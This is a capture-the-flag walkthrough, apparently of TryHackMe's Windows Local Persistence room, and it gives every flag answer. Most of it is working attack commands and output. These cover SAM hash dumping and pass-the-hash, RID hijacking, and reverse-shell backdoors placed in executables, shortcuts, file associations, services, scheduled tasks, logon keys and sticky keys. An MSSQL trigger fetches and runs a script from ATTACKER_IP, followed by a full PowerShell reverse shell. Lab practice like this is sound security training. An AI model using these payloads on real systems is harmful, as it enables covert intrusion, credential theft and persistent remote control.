Post Compromise - 04 Windows Local Persistence | TryHackMe
Task 2 Tampering With Unprivileged Accounts
Assign Group Memberships
Add an unprivileged account to the Administrators group:
C:\Users\Administrator>net localgroup administrators thmuser0 /add
The command completed successfully.
This will allow the account to access the server by using RDP, WinRM or any other remote administration service available.
Another way to be a little more hidden is to use the Backup Operators group. Users in this group won't have administrative privileges but will be allowed to read/write any file or registry key on the system, ignoring any configured DACL. This would allow us to copy the content of the SAM and SYSTEM registry hives, which we can then use to recover the password hashes for all the users, enabling us to escalate to any administrative account trivially.
- Add an account to the Backup Operators group:
C:\Users\Administrator>net localgroup "Backup Operators" thmuser1 /add
The command completed successfully.
- Add the account to the Remote Desktop Users(RDP) or Remote Management Users(WinRM) group. The command below will make WinRM usable:
C:\Users\Administrator>net localgroup "Remote Management Users" thmuser1 /add
The command completed successfully.
- Connect the victim with evil-winrm and check the account's groups privileges:
❯ evil-winrm -i 10.10.4.68 -u thmuser1 -p Password321
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\thmuser1\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Group used for deny only
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
The Backup Operators group is disabled. This is caused by the UAC. One of the features implemented by UAC, LocalAccountTokenFilterPolicy, strips any local account of its administrative privileges when logging in remotely. While you can elevate your privileges through UAC from a graphical user session (Read more on UAC here), if you are using WinRM, you are confined to a limited access token with no administrative privileges.
Disable LocalAccountTokenFilterPolicy
with the administrator account by changing the following registry key to 1:
C:\Users\Administrator>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
The operation completed successfully.
Reconnect to the victim and check the groups privileges:
❯ evil-winrm -i 10.10.4.68 -u thmuser1 -p Password321
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\thmuser1\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
The group's privilege question is done. Then backup the SAM and SYSTEM files and download them to attack machine:
*Evil-WinRM* PS C:\Users\thmuser1\Documents> reg save hklm\system system.bak
The operation completed successfully.
*Evil-WinRM* PS C:\Users\thmuser1\Documents> reg save hklm\sam sam.bak
The operation completed successfully.
*Evil-WinRM* PS C:\Users\thmuser1\Documents> download system.bak
Info: Downloading C:\Users\thmuser1\Documents\system.bak to system.bak
Info: Download successful!
*Evil-WinRM* PS C:\Users\thmuser1\Documents> download sam.bak
Info: Downloading C:\Users\thmuser1\Documents\sam.bak to sam.bak
Info: Download successful!
Dump the hashes for all users with those files by secretsdump.py
:
❯ secretsdump.py -sam sam.bak -system system.bak LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
thmuser1:1008:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser2:1009:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser3:1010:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser0:1011:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser4:1013:aad3b435b51404eeaad3b435b51404ee:8767940d669d0eb618c15c11952472e5:::
[*] Cleaning up...
Finally, perform Pass-the-Hash to connect to the victim machine with Administrator privileges and execute C:\flags\flag1.exe
to get flag:
❯ evil-winrm -i 10.10.4.68 -u Administrator -H f3118544a831e728781d780cfdb9c1fa
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
wpersistence\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> C:\flags\flag1.exe
THM{FLAG_BACKED_UP!}
Question: flag1
Answer: THM{FLAG_BACKED_UP!}
Special Privileges and Security Descriptors
A similar result to adding a user to the Backup Operators group can be achieved without modifying any group membership. Special groups are only special because the operating system assigns them specific privileges by default. So, we could directly give the user those specific privileges, independent of their group memberships.
A complete list of available privileges can be found here for reference: https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
In the case of the Backup Operators group, it has the following two privileges assigned by default:
- SeBackupPrivilege: The user can read any file in the system, ignoring any DACL in place.
- SeRestorePrivilege: The user can write any file in the system, ignoring any DACL in place.
- Use the
secedit
command to export the current configuration to a temp file:
C:\Users\Administrator\Desktop>secedit /export /cfg config.txt
The task has completed successfully.
See log %windir%\security\logs\scesrv.log for detail info.
- Add the user to the lines in the configuration regarding the SeBackupPrivilege and SeRestorePrivilege:
- Convert the temp file into a
.sdb
file which is then used to load the configuration back into the system:
C:\Users\Administrator\Desktop>secedit /import /cfg config.txt /db config.sdb
C:\Users\Administrator\Desktop>secedit /configure /db config.sdb /cfg config.txt
The task has completed successfully.
See log %windir%\security\logs\scesrv.log for detail info.
To open the configuration window for WinRM's security descriptor, we could use the following command in Powershell (need to use the GUI session for this):
PS C:\Users\Administrator> Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
This will open a window where we can add thmuser2
and assign it full privileges to connect to WinRM:
Disable LocalAccountTokenFilterPolicy
has been done above.
Finally, connect the victim through evil-winrm with the account thmuser2
and check the privileges:
❯ evil-winrm -i 10.10.4.68 -u thmuser2 -H f3118544a831e728781d780cfdb9c1fa
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\thmuser2\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
===================== ============================================
wpersistence\thmuser2 S-1-5-21-1966530601-3185510712-10604624-1009
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
The thmuser2
belong to the Users group, But it has added two new Se Privileges.
Execute C:\flags\flag2.exe
to get flag2.
Question: flag2
Answer: THM{IM_JUST_A_NORMAL_USER}
RID Hijacking
Change some registry values to make the operating system think the common user is the Administrator.
When a user is created, an identifier called Relative ID (RID) is assigned to them. The RID is simply a numeric identifier representing the user across the system. When a user logs on, the LSASS process gets its RID from the SAM registry hive and creates an access token associated with that RID. If we can tamper with the registry value, we can make windows assign an Administrator access token to an unprivileged user by associating the same RID to both accounts.
In any Windows system, the default Administrator account is assigned the RID = 500, and regular users usually have RID >= 1000.
Use the following command to find the assigned RIDs for any user:
C:\Users\Administrator\Desktop>wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount S-1-5-21-1966530601-3185510712-10604624-503
Guest S-1-5-21-1966530601-3185510712-10604624-501
thmuser0 S-1-5-21-1966530601-3185510712-10604624-1011
thmuser1 S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2 S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3 S-1-5-21-1966530601-3185510712-10604624-1010
thmuser4 S-1-5-21-1966530601-3185510712-10604624-1013
WDAGUtilityAccount S-1-5-21-1966530601-3185510712-10604624-504
The RID is the last bit of the SID (1010 for thmuser3 and 500 for Administrator). The SID is an identifier that allows the operating system to identify a user across a domain.
Assign the RID=500 to thmuser3 with psexec, cause SAM is restricted to the SYSTEM account only and psexec can make it.
C:\Users\Administrator\Desktop>cd c:\tools\pstools
c:\tools\pstools>PsExec64.exe -i -s regedit
From Regedit, go to HKLM\SAM\SAM\Domains\Account\Users\
where there will be a key for each user in the machine. Search for a key with the RID in hex (1010 = 0x3F2) to modify thmuser3. Under the corresponding key, there will be a value called F, which holds the user's effective RID at position 0x30:
ps: the RID is stored using little-endian notation, so its bytes appear reversed.
Replace those two bytes with the RID of Administrator in hex (500 = 0x01F4), switching around the bytes (F401):
The next time thmuser3 login, LSASS will associate it with the same RID as Administrator and grant them the same privileges.
Login to the rdp with thmuser3/Password321, then here we are, the Administrator's Desktop:
Execute C:\flags\flag3.exe
to get flag3.
Question: flag3
Answer: THM{TRUST_ME_IM_AN_ADMIN}
Task 3 Backdooring Files
Executable Files
We could plant a payload of our preference in any .exe
file with msfvenom
. The binary will still work as usual but execute an additional payload silently by adding an extra thread in the binary.
Here's an example of implant a backdoor to putty.exe :
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
The resulting puttyX.exe will execute a reverse_tcp meterpreter payload without the user noticing it.
Shortcut Files
Change the shortcut file to point to a script that will run a backdoor and then execute the usual program normally.
- create a simple Powershell script in
C:\Windows\System32
or any other sneaky location. The script will execute a reverse shell and then runcalc.exe
from the original location on the shortcut's properties:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
C:\Windows\System32\calc.exe
- change the shortcut to point to the backdoor script, also the icon:
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
- start an nc listener to receive the reverse shell on your attacker's machine:
❯ ncat -lvnp 4445
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4445
Ncat: Listening on 0.0.0.0:4445
- double-click the shortcut and you'll get a connection back to your attacker's machine:
Execute C:\flags\flag5.exe
to get flag5.
❯ ncat -lvnp 4445
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 10.10.84.235:49805.
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>C:\flags\flag5.exe
C:\flags\flag5.exe
THM{NO_SHORTCUTS_IN_LIFE}
Question: flag5
Answer: THM{NO_SHORTCUTS_IN_LIFE}
Hijacking File Associations
We can also hijack any file association to force the operating system to run a shell whenever the user opens a specific file type.
The default operating system file associations are kept inside the registry, where a key is stored for every single file type under HKLM\Software\Classes\
. Let's say we want to check which program is used to open .txt
files; we can just go and check for the .txt
subkey and find which Programmatic ID (ProgID) is associated with it. A ProgID is simply an identifier to a program installed on the system. For .txt
files, we will have the following ProgID:
We can then search for a subkey for the corresponding ProgID (also under HKLM\Software\Classes\
), in this case, txtfile
, where we will find a reference to the program in charge of handling .txt files. Most ProgID entries will have a subkey under shell\open\command
where the default command to be run for files with that extension is specified:
In this case, when you try to open a .txt file, the system will execute %SystemRoot%\system32\NOTEPAD.EXE %1
, where %1
represents the name of the opened file. If we want to hijack this extension, we could replace the command with a script that executes a backdoor and then opens the file as usual. First, let's create a ps1 script with the following content and save it to C:\Windows\backdoor2.ps1
:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]
Notice how in Powershell, we have to pass $args[0]
to notepad, as it will contain the name of the file to be opened, as given through %1
.
Now let's change the registry key to run our backdoor script in a hidden window:
Finally, create a listener for your reverse shell and try to open any .txt file on the victim machine (create one if needed). You should receive a reverse shell with the privileges of the user opening the file.
Execute C:\flags\flag6.exe
to get flag6.
Question: flag6
Answer: THM{TXT_FILES_WOULD_NEVER_HURT_YOU}
Task 4 Abusing Services
Creating backdoor services
We can create and start a service named "THMservice" using the following commands:
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice
Note: There must be a space after each equal sign for the command to work.
The "net user" command will be executed when the service is started, resetting the Administrator's password to Passwd123
. Notice how the service has been set to start automatically (start= auto), so that it runs without requiring user interaction.
We can also create a reverse shell with msfvenom and associate it with the created service. Notice, however, that service executables are unique since they need to implement a particular protocol to be handled by the system. If you want to create an executable that is compatible with Windows services, you can use the exe-service
format in msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe
You can then copy the executable to your target system, say in C:\Windows and point the service's binPath to it:
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2
This should create a connection back to your attacker's machine.
Question: flag7
Answer: THM{SUSPICIOUS_SERVICES}
Modifying existing services
While creating new services for persistence works quite well, the blue team may monitor new service creation across the network. We may want to reuse an existing service instead of creating one to avoid detection. Usually, any disabled service will be a good candidate, as it could be altered without the user noticing it.
You can get a list of available services using the following command:
C:\> sc.exe query state=all
SERVICE_NAME: THMService1
DISPLAY_NAME: THMService1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
You should be able to find a stopped service called THMService3. To query the service's configuration, you can use the following command:
C:\> sc.exe qc THMService3
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: THMService3
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\MyService\THMService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : THMService3
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\Local Service
There are three things we care about when using a service for persistence:
- The executable (BINARY_PATH_NAME) should point to our payload.
- The service START_TYPE should be automatic so that the payload runs without user interaction.
- The SERVICE_START_NAME, which is the account under which the service will run, should preferably be set to LocalSystem to gain SYSTEM privileges.
Let's start by creating a new reverse shell with msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe
To reconfigure "THMservice3" parameters, we can use the following command:
C:\> sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
You can then query the service's configuration again to check if all went as expected:
C:\> sc.exe qc THMservice3
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: THMservice3
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\rev-svc2.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : THMservice3
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Task 5 Abusing Scheduled Tasks
Task Scheduler
create a task that runs a reverse shell every single minute:
C:\> schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
SUCCESS: The scheduled task "THM-TaskBackdoor" has successfully been created.
The previous command will create a "THM-TaskBackdoor" task and execute an nc64
reverse shell back to the attacker. The /sc
and /mo
options indicate that the task should be run every single minute. The /ru
option indicates that the task will run with SYSTEM privileges.
check the task:
C:\Users\Administrator>schtasks /query /tn thm-taskbackdoor
Folder: \
TaskName Next Run Time Status
======================================== ====================== ===============
thm-taskbackdoor 10/25/2023 9:16:00 AM Running
Making the Task Invisible
The security descriptors of all scheduled tasks are stored in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
. You will find a registry key for every task, under which a value named "SD" contains the security descriptor. You can only erase the value if you hold SYSTEM privileges.
To hide our task, let's delete the SD value for the "THM-TaskBackdoor" task we created before. To do so, we will use psexec
(available in C:\tools
) to open Regedit with SYSTEM privileges:
C:\> c:\tools\pstools\PsExec64.exe -s -i regedit
then delete the security descriptor for our task:
try to query our service again, the system will tell us there is no such task:
C:\Users\Administrator>schtasks /query /tn thm-taskbackdoor
ERROR: The system cannot find the file specified.
start an nc listener in our attacker's machine, we should get a shell back after a minute and execute C:\flags\flag9.exe
to get flag9:
Question: flag9
Answer: THM{JUST_A_MATTER_OF_TIME}
Task 6 Logon Triggered Persistence
Startup folder
Each user has a folder under C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
where you can put executables to be run whenever the user logs in. An attacker can achieve persistence just by dropping a payload in there. Notice that each user will only run whatever is available in their folder.
If we want to force all users to run a payload while logging in, we can use the folder under C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
in the same way.
generate a reverse shell payload with msfvenom:
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe
then store the payload into the C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
folder to get a shell back for any user logging into the machine.
C:\Users\Administrator\Desktop>copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
1 file(s) copied.
Now be sure to sign out of your session from the start menu (closing the RDP window is not enough as it leaves your session open):
And log back via RDP. You should immediately receive a connection back to your attacker's machine.
Execute C:\flags\flag10.exe
to get flag10.
Question: flag10
Answer: THM{NO_NO_AFTER_YOU}
Run/RunOnce
You can also force a user to execute a program on logon via the registry. Instead of delivering your payload into a specific directory, you can use the following registry entries to specify applications to run at logon:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
The registry entries under HKCU
will only apply to the current user, and those under HKLM
will apply to everyone. Any program specified under the Run keys will run every time the user logs on. Programs specified under the RunOnce keys will only be executed a single time.
create a new reverse shell with msfvenom:
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4451 -f exe -o revshell.exe
move it to the victim machine's C:\Windows\
:
C:\Users\Administrator\Desktop>move revshell.exe C:\Windows
1 file(s) moved.
then create a REG_EXPAND_SZ registry entry under HKLM\Software\Microsoft\Windows\CurrentVersion\Run
. The entry's name can be anything you like, and the value will be the command we want to execute.
sign out of your current session and log in again, and you should receive a shell:
Execute C:\flags\flag11.exe
to get flag11.
Question: flag11
Answer: THM{LET_ME_HOLD_THE_DOOR_FOR_YOU}
Winlogon
Another alternative to automatically start programs on logon is abusing Winlogon, the Windows component that loads your user profile right after authentication (amongst other things).
Winlogon uses some registry keys under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
that could be interesting to gain persistence:
Userinit
points touserinit.exe
, which is in charge of restoring your user profile preferences.shell
points to the system's shell, which is usuallyexplorer.exe
.
If we'd replace any of the executables with some reverse shell, we would break the logon sequence, which isn't desired. Interestingly, you can append commands separated by a comma, and Winlogon will process them all.
create a new reverse shell with msfvenom:
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4452 -f exe -o revshell.exe
move it to the victim machine's C:\Windows\
:
C:\Users\Administrator\Desktop>move revshell.exe C:\Windows
1 file(s) moved.
We then alter either shell
or Userinit
in HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
. In this case we will use Userinit
, but the procedure with shell
is the same.
sign out of your current session and log in again, and you should receive a shell:
Execute C:\flags\flag12.exe
to get flag12.
Question: flag12
Answer: THM{I_INSIST_GO_FIRST}
Logon scripts
One of the things userinit.exe
does while loading your user profile is to check for an environment variable called UserInitMprLogonScript
. We can use this environment variable to assign a logon script to a user that will get run when logging into the machine. The variable isn't set by default, so we can just create it and assign any script we like.
Notice that each user has its own environment variables; therefore, you will need to backdoor each separately.
create a new reverse shell with msfvenom and copy the shell to any directory we like.
To create an environment variable for a user, you can go to its HKCU\Environment
in the registry. We will use the UserInitMprLogonScript
entry to point to our payload so it gets loaded when the users logs in:
Notice that this registry key has no equivalent in HKLM
, making your backdoor apply to the current user only.
sign out of your current session and log in again, and you should receive a shell.
Execute C:\flags\flag13.exe
to get flag13.
Question: flag13
Answer: THM{USER_TRIGGERED_PERSISTENCE_FTW}
Task 7 Backdooring the Login Screen/RDP
Sticky Keys
To establish persistence using Sticky Keys, we will abuse a shortcut enabled by default in any Windows installation that allows us to activate Sticky Keys by pressing SHIFT
5 times. After inputting the shortcut, we should usually be presented with a screen that looks as follows:
After pressing SHIFT
5 times, Windows will execute the binary in C:\Windows\System32\sethc.exe
. If we are able to replace such binary for a payload of our preference, we can then trigger it with the shortcut. Interestingly, we can even do this from the login screen before inputting any credentials.
A straightforward way to backdoor the login screen consists of replacing sethc.exe
with a copy of cmd.exe
. That way, we can spawn a console using the sticky keys shortcut, even from the logging screen.
To overwrite sethc.exe
, we first need to take ownership of the file and grant our current user permission to modify it. Only then will we be able to replace it with a copy of cmd.exe
. We can do so with the following commands:
C:\> takeown /f c:\Windows\System32\sethc.exe
SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "PURECHAOS\Administrator".
C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files
C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
1 file(s) copied.
After doing so, lock your session from the start menu:
You should now be able to press SHIFT five times to access a terminal with SYSTEM privileges directly from the login screen:
Execute C:\flags\flag14.exe
to get flag14.
Question: flag14
Answer: THM{BREAKING_THROUGH_LOGIN}
Utilman
Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen:
When we click the ease of access button on the login screen, it executes C:\Windows\System32\Utilman.exe
with SYSTEM privileges. If we replace it with a copy of cmd.exe
, we can bypass the login screen again.
To replace utilman.exe
, we do a similar process to what we did with sethc.exe
:
C:\> takeown /f c:\Windows\System32\utilman.exe
SUCCESS: The file (or folder): "c:\Windows\System32\utilman.exe" now owned by user "PURECHAOS\Administrator".
C:\> icacls C:\Windows\System32\utilman.exe /grant Administrator:F
processed file: C:\Windows\System32\utilman.exe
Successfully processed 1 files; Failed processing 0 files
C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Overwrite C:\Windows\System32\utilman.exe? (Yes/No/All): yes
1 file(s) copied.
To trigger our terminal, we will lock our screen from the start button:
And finally, proceed to click on the "Ease of Access" button. Since we replaced utilman.exe
with a cmd.exe
copy, we will get a command prompt with SYSTEM privileges:
Execute C:\flags\flag15.exe
to get flag15.
Question: flag15
Answer: THM{THE_LOGIN_SCREEN_IS_MERELY_A_SUGGESTION}
Task 8 Persisting Through Existing Services
Using Web Shells
Transfer a webshell to the victim machine and move it into the webroot, which by default is located in the C:\inetpub\wwwroot
directory:
C:\> move shell.aspx C:\inetpub\wwwroot\
Note: Depending on the way you create/transfer shell.aspx
, the permissions in the file may not allow the web server to access it. If you are getting a Permission Denied error while accessing the shell's URL, just grant everyone full permissions on the file to get it working. You can do so with icacls shell.aspx /grant Everyone:F
.
We can then run commands from the web server by pointing to the following URL:
http://victim-ip/shell.aspx
Execute C:\flags\flag16.exe
to get flag16.
Question: flag16
Answer: THM{EZ_WEB_PERSISTENCE}
Using MSSQL as a Backdoor
The triggers in MSSQL allow you to bind actions to be performed when specific events occur in the database. Those events can range from a user logging in up to data being inserted, updated or deleted from a given table.
Before creating the trigger, we must first reconfigure a few things on the database. First, we need to enable the xp_cmdshell
stored procedure. xp_cmdshell
is a stored procedure that is provided by default in any MSSQL installation and allows you to run commands directly in the system's console but comes disabled by default.
To enable it, let's open Microsoft SQL Server Management Studio 18
, available from the start menu. When asked for authentication, just use Windows Authentication (the default value), and you will be logged on with the credentials of your current Windows User. By default, the local Administrator account will have access to all DBs.
Once logged in, click on the New Query button to open the query editor:
Run the following SQL sentences to enable the "Advanced Options" in the MSSQL configuration, and proceed to enable xp_cmdshell
.
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO
sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
After this, we must ensure that any website accessing the database can run xp_cmdshell
. By default, only database users with the sysadmin
role will be able to do so. Since it is expected that web applications use a restricted database user, we can grant privileges to all users to impersonate the sa
user, which is the default database administrator:
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
After all of this, we finally configure a trigger. We start by changing to the HRDB
database:
USE HRDB
Our trigger will leverage xp_cmdshell
to execute Powershell to download and run a .ps1
file from a web server controlled by the attacker. The trigger will be configured to execute whenever an INSERT
is made into the Employees
table of the HRDB
database:
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';
Now that the backdoor is set up, let's create evilscript.ps1
in our attacker's machine, which will contain a Powershell reverse shell:
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
We will need to open two terminals to handle the connections involved in this exploit:
- The trigger will perform the first connection to download and execute
evilscript.ps1
. Our trigger is using port 8000 for that. - The second connection will be a reverse shell on port 4454 back to our attacker machine.
terminal 1:
❯ python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
terminal 2:
❯ ncat -lvnp 4454
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4454
Ncat: Listening on 0.0.0.0:4454
With all that ready, let's navigate to http://victim-ip/
and insert an employee into the web application. Since the web application will send an INSERT statement to the database, our TRIGGER will provide us access to the system's console.
Execute C:\flags\flag17.exe
to get flag17.
Question: flag17
Answer: THM{I_LIVE_IN_YOUR_DATABASE}